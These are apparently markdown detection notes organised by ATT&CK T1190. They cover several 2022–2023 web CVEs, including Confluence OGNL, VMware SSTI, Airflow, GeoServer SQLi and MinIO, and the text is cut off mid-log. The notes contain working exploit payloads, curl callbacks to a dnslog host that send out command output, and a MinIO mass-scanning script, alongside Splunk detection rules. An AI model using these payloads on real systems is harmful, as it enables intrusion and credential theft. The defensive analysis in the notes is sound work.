app="vmware-Workspace-ONE-Access" || app="vmware-Identity-Manager"
```
```
yml
/catalog-portal/ui?code=&deviceUdid=&deviceType=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D
/catalog-portal/hub-ui?deviceType=&deviceUdid=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D
/catalog-portal/hub-ui/byob?deviceType=&deviceUdid=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D
/catalog-portal/ui/oauth/verify?error=&deviceType=&deviceUdid=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D
/catalog-portal/ui/oauth/verify?code=&deviceType=&deviceUdid=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D
```
URL decode
```
yml
/catalog-portal/ui?code=&deviceUdid=&deviceType=${"freemarker.template.utility.Execute"?new()("id")}
/catalog-portal/hub-ui?deviceType=&deviceUdid=${"freemarker.template.utility.Execute"?new()("id")}
/catalog-portal/hub-ui/byob?deviceType=&deviceUdid=${"freemarker.template.utility.Execute"?new()("id")}
/catalog-portal/ui/oauth/verify?error=&deviceType=&deviceUdid=${"freemarker.template.utility.Execute"?new()("id")}
/catalog-portal/ui/oauth/verify?code=&deviceType=&deviceUdid=${"freemarker.template.utility.Execute"?new()("id")}
```
[批量脚本传送门](https://github.com/bewhale/CVE-2022-22954)
## 检测日志
HTTP.log
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
[Splunk公开规则](https://github.com/splunk/security_content/blob/develop/detections/web/vmware_server_side_template_injection_hunt.yml)
```
sql
| tstats count from datamodel=Web where Web.http_method IN ("GET")
Web.url="*deviceudid=*" AND Web.url IN ("*java.lang.ProcessBuilder*","*freemarker.template.utility.ObjectConstructor*")
by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype
| `drop_dm_object_name("Web")`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
| `vmware_server_side_template_injection_hunt_filter
```
结合状态码及返回内容包进行分析研判。以下可作为参考:
```
yml
返回状态为200,且包涵Authorization context is not valid
```
## 参考推荐
MITRE-ATT&CK-T1190
vmware_server_side_template_injection_hunt
利用脚本
CVE-2022-22954 VMware Workspace ONE Access SSTI RCE
zeek-CVE-2022-22954
================================================
FILE: Web/2022/T1190-CVE-2022-24124-Casdoor SQL注入漏洞.md
================================================
# T1190-CVE-2022-24124-Casdoor SQL注入漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
### 简介
Casdoor是一个基于OAuth 2.0/OIDC的中心化的单点登录(SSO)身份验证平台,简单来说,就是Casdoor可以帮你解决用户管理的难题,你无需开发用户登录、注册等与用户鉴权相关的一系列功能,只需几个步骤进行简单配置,与你的主应用配合,便可完全托管你的用户模块,简单省心,功能强大。Casdoor目前作为Casbin社区项目统一使用的鉴权平台,并且项目已开源。
此漏洞属于Sql注入漏洞,在查询API存在与字段和值参数相关的SQL注入漏洞。
### 受影响版本
```
yml
Casdoor < Casdoor 1.13.1 //1.13.1版本之前均受影响
```
- -------------------------------------
### EXP/POC
请勿用做非法用途,仅用于检测测试。
```
yml
/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),3)
```
已公开Poc:
```
yml
https://github.com/cukw/CVE-2022-24124_POC
```
## 检测日志
HTTP.log
## 测试复现
参考测试留痕部分
## 测试留痕
```
yml
GET /api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),3) HTTP/1.1
Host: 123.58.224.8:57939
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://123.58.224.8:57939/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),3)
Cookie: casdoor_session_id=54fbcdd93bdb8ce82c6dd4a02831a7c9
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Origin
Access-Control-Allow-Methods: GET,PUT,PATCH
Access-Control-Allow-Origin:
Access-Control-Expose-Headers: Content-Length
Server: beegoServer:1.12.3
Date: Sun, 25 Sep 2022 14:32:58 GMT
Content-Length: 1946
Content-Type: text/html; charset=utf-8
beego application error
| Request Method: | GET |
| Request URL: | /api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),3) |
| RemoteAddr: | 10.0.0.2 |
Stack
/usr/local/go/src/runtime/panic.go:1038
/go/src/casdoor/object/organization.go:48
/go/src/casdoor/controllers/organization.go:45
/usr/local/go/src/reflect/value.go:543
/usr/local/go/src/reflect/value.go:339
/go/pkg/mod/github.com/astaxie/beego@v1.12.3/router.go:897
/usr/local/go/src/net/http/server.go:2879
/usr/local/go/src/net/http/server.go:1930
/usr/local/go/src/runtime/asm_amd64.s:1581
```
关注GET请求URL路径内容以及返回包信息,辅助研判。
## 参考推荐
MITRE-ATT&CK-T1190
CVE-2022-24124_POC
================================================
FILE: Web/2022/T1190-CVE-2022-26134-Confluence OGNL表达式注入命令执行漏洞.md
================================================
# T1190-CVE-2022-26134-Confluence OGNL表达式注入命令执行漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
### 简介
Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。
Confluence Server and Data Center存在一个远程代码执行漏洞,未经身份验证的攻击者可以利用该漏洞向目标服务器注入恶意ONGL表达式,进而在目标服务器上执行任意代码。
### 受影响版本
```
yml
Confluence Server and Data Center >= 1.3.0
Confluence Server and Data Center < 7.4.17
Confluence Server and Data Center < 7.13.7
Confluence Server and Data Center < 7.14.3
Confluence Server and Data Center < 7.15.2
Confluence Server and Data Center < 7.16.4
Confluence Server and Data Center < 7.17.4
Confluence Server and Data Center < 7.18.1
```
### EXP/POC
请勿用做非法用途,仅用于检测测试。
fofa语法:icon_hash="-305179312"
```
yml
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
```
URL decode
```
yml
/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("' command '").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/
```
## 检测日志
HTTP.log
## 测试复现
参考测试留痕内容。
## 测试留痕
```
yml
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: x.x.x.x:81
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
HTTP/1.1 302
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654694968696
Set-Cookie: JSESSIONID=D7258B0DCEE36AE8056A8853FDCE6E69; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Response: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence)
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 13:29:28 GMT
Keep-Alive: timeout=20
Connection: keep-alive
```
## 检测规则/思路
参考[splunk官方建议](https://www.splunk.com/en_us/blog/security/atlassian-confluence-vulnerability-cve-2022-26134.html)
[Splunk公开规则](https://github.com/splunk/security_content/blob/develop/detections/web/confluence_unauthenticated_remote_code_execution_cve_2022_26134.yml)
```
sql
| tstats count min(_time) as firstTime max(_time)
as lastTime from datamodel=Web where Web.url IN ("*${*", "*%2F%7B*") (Web.url="*org.apache.commons.io.IOUtils*" Web.url="*java.lang.Runtime@getRuntime().exec*") OR (Web.url="*java.lang.Runtime%40getRuntime%28%29.exec*") OR (Web.url="*getEngineByName*" AND Web.url="*nashorn*" AND Web.url="*ProcessBuilder*")
by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype
| `drop_dm_object_name("Web")`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
| `confluence_unauthenticated_remote_code_execution_cve_2022_26134_filter
```
对url中包含"%24%7B"或者"/${*"进行重点监测。可结合"java.lang.Runtime%40getRuntime%28%29.exec"进行辅助研判。
## 参考推荐
MITRE-ATT&CK-T1190
atlassian-confluence-vulnerability-cve-2022-26134
CVE-2022-26134漏洞复现(Confluence OGNL注入rce漏洞)
================================================
FILE: Web/2022/T1190-CVE-2022-40127 Apache Airflow代码注入.md
================================================
# T1190-CVE-2022-40127 Apache Airflow代码注入
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
### 简介
Apache Airflow是一个可编程,调度和监控的工作流平台,基于有向无环图(DAG),Airflow可以定义一组有依赖的任务,按照依赖依次执行。该漏洞影响版本Apache Airflow <2.4.0;当攻击者可访问到Apache Airflow的后台,且环境中存在默认Example Dags,则可构造恶意请求借助run_id执行任意命令。
### EXP/POC
请勿用做非法用途,仅用于流量分析检测。
网络空间测绘查询:title="Airflow"
#### POC-1
```
yml
{"fxoxx":"\";curl `uname`.lxx2.535ld4zn.dnslog.pw;\""}
```


#### POC-2
```
bash
curl -X 'POST' \
'http://10.11.12.131:8080/api/v1/dags/example_bash_operator/dagRuns' \
- H 'accept: application/json' \
- H 'Content-Type: application/json' \
- d '{
"conf": {
"dag_run": "api2"
},
"dag_run_id": "id \"&& curl `whoami`.api222.535ld4zn.dnslog.pw",
"logical_date": "2022-11-19T10:13:13.920Z"
}'
```




## 检测日志
HTTP.log
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
分析思路:
- 请求路径中是否含有"/airflow/"
- 请求路径是否为"/api/v1/dags/example_bash_operator/dagRuns"
## 参考推荐
MITRE-ATT&CK-T1190
CVE-2022-40127
Apache Airflow(CVE-2022-40127)漏洞复现
================================================
FILE: Web/2022/T1190-CVE-2022-42889 Apache Commons Text RCE.md
================================================
# T1190-CVE-2022-42889-Apache_Commons_Text_RCE
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
### 简介
Apache Commons Text:该组件是一款处理字符串和文本块的开源项目,简单来说,除了核心Java提供的功能外,Apache Commons文本库还包含了许多有用的实用程序方法,用于处理字符串。通常在开发过程中用于占位符和动态获取属性的字符串编辑工具包,常用于数据库查询前的语句替换,或者页面输出时的替换。
Apache Commons Text执行变量插值,允许动态评估和扩展属性。插值的标准格式是“${prefix:name}”,其中“prefix”用于查找org.apache.commons.text.loookup的实例,执行插值的StringLookup 。从1.5版开始一直到1.9版,默认Lookup实例集包括插值器,这些插值器可能导致任意代码执行或与远程服务器通信。这些查找是:-“script”-使用JVM脚本执行引擎(javax.script)执行表达式-“dns”-解析dns记录-“url”-从url加载值,如果使用不受信任的配置值,则受影响版本中使用插值默认值的应用程序,可能容易受到远程代码执行或与远程服务器无意接触的影响。建议用户升级到Apache Commons Text 1.10.0,默认情况下会禁用有问题的插值器。
### 受影响版本
```
yml
1.5 <= Apache Commons Text <= 1.9
```
- --
### EXP/POC
请勿用做非法用途,仅用于流量分析检测。
#### CVE-2022-42889
```
java
import org.apache.commons.text.StringSubstitutor;
public class CommonsPoc {
public static void main(String[] args) {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
// 命令执行
// String poc = interpolator.replace("${script:js:java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")}");
// SSRF
// String poc = interpolator.replace("${url:utf-8:http://*.dnslog.cn}");
// 命令执行base64编码绕过
String poc = interpolator.replace("${base64Decoder:JHtzY3JpcHQ6anM6amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoIm9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAiKX0=}");
}
}
```
- --
#### CVE-2022-33980
```
java
package com.exploit.payloadclass;
import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;
public class CommonsConfiguration2Poc {
public static void main(String[] args) {
InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder().withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
.withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values()).create();
ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
System.out.println(interpolator.interpolate("${script:js:java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")}"));
}
}
```
- --
## 检测日志
HTTP.log
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
分析思路:
- 关注getRuntime().exec前后参数及参数返回内容
- 关注命令执行编码绕过行为,需解码分析
## 参考推荐
MITRE-ATT&CK-T1190
Apache commons-text和Configuration 命令执行CVE-2022-42889/CVE-2022-33980分析
text4shell CVE-2022-42889 poc
【漏洞分析】Apache Commons Text远程代码执行漏洞(CVE-2022-42889)
================================================
FILE: Web/2023/CVE-2023-23752/T1190-CVE-2023-23752.md
================================================
# T1190-CVE-2023-23752-Joomla权限绕过漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Joomla是一个开源免费的内容管理系统(CMS),基于PHP开发。
在其4.0.0版本到4.2.7版本中,存在一处属性覆盖漏洞,导致攻击者可以通过恶意请求绕过权限检查,访问任意Rest API。
参考链接:
-
-
-
## 检测日志
HTTP.log
## 测试复现
### 漏洞环境
漏洞环境参考vulhub进行部署模拟
执行如下命令启动一个Joomla 4.2.7:
```
docker-compose up -d
```
服务启动后,访问`http://your-ip:8080`即可查看到Joomla页面。
### 漏洞复现
这个漏洞是由于错误的属性覆盖导致的,攻击者可以通过在访问Rest API时传入参数`public=true`来绕过权限校验。
比如,访问下面这个链接即可读取所有配置项,包括数据库连接用户名和密码:
```
http://your-ip:8080/api/index.php/v1/config/application?public=true
```

如果不添加`public=true`,则访问会被拒绝。
访问下面这个链接即可读取所有用户信息,包含邮箱等:
```
http://your-ip:8080/api/index.php/v1/users?public=true
```

## 测试留痕


流量包见同目录下pcap文件。
## 检测规则/思路
对请求路径及返回内容进行重点关注,研判分析时要根据url路径内容,结合返回信息+状态码进行研判。
## 参考推荐
MITRE-ATT&CK-T1190
Joomla权限绕过漏洞(CVE-2023-23752)
Joomla未授权访问漏洞|CVE-2023-23752复现及修复
================================================
FILE: Web/2023/CVE-2023-25157/T1190-CVE-2023-25157.md
================================================
# T1190-CVE-2023-25157-GeoServer OGC Filter SQL注入漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
GeoServer 是OpenGIS Web服务器规范的J2EE实现,利用GeoServer可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。
在版本2.22.1和2.21.4及以前,多个OGC表达式中均存在SQL注入漏洞。
参考链接:
- https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158
- https://github.com/advisories/GHSA-7g5f-wrx8-5ccf
## 检测日志
HTTP.log
## 测试复现
### 漏洞环境
FOFA: app = "GeoServer"
执行如下命令启动一个SeoServer 2.22.1:
```
docker-compose up -d
```
环境启动后,访问即可查看到GeoServer的首页。http://your-ip:8080/geoserver
## 漏洞复现
在利用漏洞前,需要目标服务器中存在类型是PostGIS的数据空间(datastore)和工作空间(workspace)。在Vulhub中,已经包含满足条件的工作空间,其信息如下:
- 工作区名称:vulhub
- 数据存储名称:pg
- 要素类型(表)名称:example
- 要素类型的属性之一:name
利用这些已知参数,发送如下URL即可触发SQL注入漏洞:
```
http://your-ip:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true
```

获取GeoServer中WFS服务的图层信息(包括支持的 WFS 版本、支持的数据格式、支持的查询方式、支持的空间参考系统等)
```
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
```
获取某个图层的属性名称
```
GET /geoserver/wfs?request=DescribeFeatureType&version=2.0.0&service=WFS&outputFormat=application/json&typeName=图层名称 HTTP/1.1
```
## 测试留痕
```
yml
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith(name%2C%27x%27%27)+%3D+true+and+1%3D(SELECT+CAST+((SELECT+version())+AS+integer))+--+%27)+%3D+true HTTP/1.1
Host: 192.168.101.129:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
Content-Type: text/xml;charset=utf-8
Content-Encoding: gzip
Transfer-Encoding: chunked
Server: Jetty(9.4.48.v20220622)
java.lang.RuntimeException: java.io.IOException
java.io.IOExceptionERROR: invalid input syntax for type integer: "PostgreSQL 14.8 on x86_64-pc-linux-musl, compiled by gcc (Alpine 12.2.1_git20220924-r10) 12.2.1 20220924, 64-bit"
```
流量包见同目录下pcap文件。
## 检测规则/思路
对请求路径及返回内容进行重点关注。
研判分析要点:
- 请求方法GET
- 请求url路径及路径中是否包含SQL语句
- 状态码200,结合返回body信息,判断攻击是否成功。
辅助判断:上下文关联分析,是否存在获取GeoServer中WFS服务的图层信息、获取某个图层的属性名称等行为
## 参考推荐
MITRE-ATT&CK-T1190
GeoServer OGC Filter SQL注入漏洞(CVE-2023-25157)
GeoServer SQL注入漏洞复现(CVE-2023-25157)
GeoServer SQL 注入漏洞分析(CVE-2023-25157)
================================================
FILE: Web/2023/CVE-2023-28432/T1190-CVE-2023-28432.md
================================================
# T1190-CVE-2023-28432-MinIO集群模式信息泄露漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
MinIO是一个开源对象存储系统。
在其`RELEASE.2023-03-20T20-16-18Z`版本(不含)以前,集群模式部署下存在一处信息泄露漏洞,攻击者可以通过发送一个POST数据包获取进程所有的环境变量,其中就包含账号密码`MINIO_SECRET_KEY`和`MINIO_ROOT_PASSWORD`。
参考链接:
-
-
## 检测日志
HTTP.log
## 测试复现
### 漏洞环境
执行如下命令启动一个MinIO集群,其中包含3个以集群模式运行的服务:
```
bash
docker-compose up -d
```
- ----------
集群启动后,访问http://your-ip:9001可以查看Web管理页面,访问http://your-ip:9000是API服务。
### 漏洞复现
这个漏洞存在于API节点http://your-ip:9000/minio/bootstrap/v1/verify上,发送如下数据包即可查看泄露的环境变量:
```
yml
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: your-ip:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```
- ----------
这里采用另外一种方法进行验证:
```
sh
jackma@linux:~/下载$ curl -XPOST 10.211.55.71:9000/minio/bootstrap/v1/verify
{"MinioEndpoints":[{"Legacy":true,"SetCount":1,"DrivesPerSet":3,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"node1:9000","Path":"/mnt/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"node2:9000","Path":"/mnt/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"node3:9000","Path":"/mnt/data3","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false}],"CmdLine":"http://node1:9000/mnt/data1 http://node2:9000/mnt/data2 http://node3:9000/mnt/data3","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_ROOT_PASSWORD":"minioadmin-vulhub","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"minioadmin","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key"}}
```
- ----------
可见,其中包含MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD。使用这个账号密码,即可成功登录管理后台。
### 批量检测脚本
```
py
import requests
import sys
import urllib3
from argparse import ArgumentParser
import threadpool
from urllib import parse
from time import time
import random
# app="minio"
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
filename = sys.argv[1]
url_list=[]
def get_ua():
first_num = random.randint(55, 62)
third_num = random.randint(0, 3200)
fourth_num = random.randint(0, 140)
os_type = [
'(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)',
'(Macintosh; Intel Mac OS X 10_12_6)'
]
chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)
ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
'(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
)
return ua
proxies={'http': 'http://127.0.0.1:8080',
'https': 'https://127.0.0.1:8080'}
def wirte_targets(vurl, filename):
with open(filename, "a+") as f:
f.write(vurl + "\n")
# poc
def check_url(url):
url=parse.urlparse(url)
hostname = url.hostname
url=url.scheme + '://' + url.netloc
vulnurl=url + "/minio/bootstrap/v1/verify"
headers = {
'User-Agent': get_ua(),
"host":hostname,
"Content-Type": "application/x-www-form-urlencoded"
}
data=""
try:
res = requests.post(vulnurl, verify=False, allow_redirects=False, headers=headers,data=data ,timeout=5)
if res.status_code == 200 and "MinioEn" in res.text:
# print(res.text)
print("\033[32m[+]{} is vulnerable\033[0m".format(url))
wirte_targets(vulnurl,"vuln.txt")
else:
print("\033[34m[-]{} not vulnerable.\033[0m".format(url))
except Exception as e:
print("\033[34m[!]{} request false.\033[0m".format(url))
pass
# 多线程
def multithreading(url_list, pools=5):
works = []
for i in url_list:
# works.append((func_params, None))
works.append(i)
# print(works)
pool = threadpool.ThreadPool(pools)
reqs = threadpool.makeRequests(check_url, works)
[pool.putRequest(req) for req in reqs]
pool.wait()
if __name__ == '__main__':
arg=ArgumentParser(description='check_url By m2')
arg.add_argument("-u",
"--url",
help="Target URL; Example:http://ip:port")
arg.add_argument("-f",
"--file",
help="Target URL; Example:url.txt")
args=arg.parse_args()
url=args.url
filename=args.file
print("[+]任务开始.....")
start=time()
if url != None and filename == None:
check_url(url)
elif url == None and filename != None:
for i in open(filename):
i=i.replace('\n','')
url_list.append(i)
multithreading(url_list,10)
end=time()
print('任务完成,用时%ds.' %(end-start))
```
## 测试留痕

HTTP_log
```
yml
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: 10.211.55.71:9000
User-Agent: curl/7.81.0
Accept: */*
HTTP/1.1 200 OK
Content-Security-Policy: block-all-mixed-content
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Origin
X-Amz-Id-2: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
X-Amz-Request-Id: 176C8C25765008C9
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
Date: Tue, 27 Jun 2023 15:00:52 GMT
Content-Length: 1107
Content-Type: text/plain; charset=utf-8
{"MinioEndpoints":[{"Legacy":true,"SetCount":1,"DrivesPerSet":3,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"node1:9000","Path":"/mnt/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"node2:9000","Path":"/mnt/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"node3:9000","Path":"/mnt/data3","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false}],"CmdLine":"http://node1:9000/mnt/data1 http://node2:9000/mnt/data2 http://node3:9000/mnt/data3","Platform":"OS: linux | Arch: 